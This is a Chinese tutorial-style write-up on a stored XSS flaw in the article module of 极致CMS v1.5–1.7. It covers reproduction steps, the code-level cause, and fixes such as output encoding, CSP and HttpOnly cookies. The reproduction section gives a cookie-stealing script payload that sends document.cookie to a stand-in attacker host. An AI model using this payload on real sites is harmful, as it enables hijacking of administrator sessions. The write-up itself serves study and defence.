极致CMS存储XSS|前台打后台COOKIE漏洞复现
字数 1035 2025-08-25 22:58:55
极致CMS存储型XSS漏洞分析与复现教学文档
漏洞概述
漏洞类型:存储型跨站脚本攻击(XSS)
影响版本:极致CMS v1.5至v1.7
漏洞位置:文章管理模块
危害等级:高危
漏洞成因:前端输出未进行HTML实体编码导致XSS攻击
漏洞影响
攻击者可利用此漏洞:
- 通过存储型XSS窃取管理员Cookie
- 获取后台权限
- 执行任意管理员权限操作
- 可能进一步渗透服务器
漏洞复现步骤
环境准备
- 搭建极致CMS v1.5-v1.7版本环境
- 确保拥有前台用户发布权限和后台管理权限
攻击流程
-
创建可发布文章的栏目
- 登录后台管理系统
- 创建允许用户发布文章的栏目
-
前台发布恶意文章
- 使用普通用户账号登录前台
- 在文章发布页面,标题处插入XSS payload:
<script>alert(document.cookie)</script> - 发布文章
-
触发XSS
- 管理员登录后台
- 访问文章列表页面
- 点击包含XSS payload的文章标题
- 系统弹出当前会话的Cookie信息
-
窃取Cookie
- 将payload替换为发送Cookie到远程服务器的代码:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - 攻击者可获取管理员会话信息
- 将payload替换为发送Cookie到远程服务器的代码:
漏洞分析
代码层面分析
漏洞位于article-list.html文件第191行附近,关键问题:
- 输出文章标题时未进行HTML实体编码
- 直接输出用户输入内容到HTML页面
安全机制缺失
-
输入过滤不足:
- 文章发布时未对XSS相关字符进行过滤
-
输出编码缺失:
- 前端显示时未对特殊字符进行HTML实体编码
修复建议
临时解决方案
-
禁用功能:
- 如非必要,可暂时关闭用户前台发布文章功能
-
手动编码:
- 修改
article-list.html文件,在输出处添加HTML实体编码
- 修改
长期解决方案
-
输入过滤:
- 在文章发布接口添加XSS过滤函数
- 过滤
<,>,",',&等特殊字符
-
输出编码:
- 对所有用户可控数据的输出进行HTML实体编码
- 使用框架提供的安全输出函数
-
内容安全策略(CSP):
- 实施严格的CSP策略限制内联脚本执行
-
Cookie安全:
- 设置HttpOnly和Secure标志
- 使用SameSite属性防止CSRF攻击
验证修复
- 尝试插入XSS payload
- 验证payload是否被正确过滤或编码
- 检查输出页面源代码确认特殊字符已被转义
总结
该漏洞展示了存储型XSS的典型危害,攻击者可通过用户输入点植入恶意代码,当管理员查看相关内容时触发攻击。开发过程中必须贯彻"不信任用户输入"原则,实施输入过滤和输出编码的双重防护机制。